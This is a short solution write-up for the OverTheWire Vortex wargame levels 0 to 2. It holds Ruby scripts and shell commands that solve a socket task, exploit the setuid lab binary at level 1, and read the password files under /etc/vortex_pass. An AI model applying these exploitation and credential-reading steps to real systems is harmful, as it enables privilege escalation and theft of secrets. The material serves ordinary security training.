Table of Contents

Over The Wire - Vortex

Level 0

level0.rb
require 'socket'
 
TCPSocket.open('vortex.labs.overthewire.org', 5842) do |s|
  sum = 0
  4.times {sum += s.recv(4).unpack('V').first}
  s.send([sum].pack('V'), 0)
  response = ''
  response += s.read() until s.eof?
  puts response
end

Level 1

level1.rb
require 'pty'
 
begin
  PTY.spawn("/vortex/level1") do |stdin, stdout, pid|
    stdin.sync = true
    reader = Thread.new {
      STDOUT.sync = true
      STDOUT.write(stdin.read(1)) until stdin.eof?
    }
    257.times {stdout.write "\\"}
    1.times {stdout.write [0xca].pack('V')}
    1.times {stdout.write "\\"}
    1.times {stdout.write [0xff].pack('V')}
    sleep 0.25
    stdout.puts
    sleep 0.25
    stdout.write "cat /etc/vortex_pass/vortex2\n"
    sleep 0.25
  end
rescue => e
  puts e
end

Level 2

/vortex/level2 /etc/vortex_pass/vortex3
cat '/tmp/ownership.$$.tar'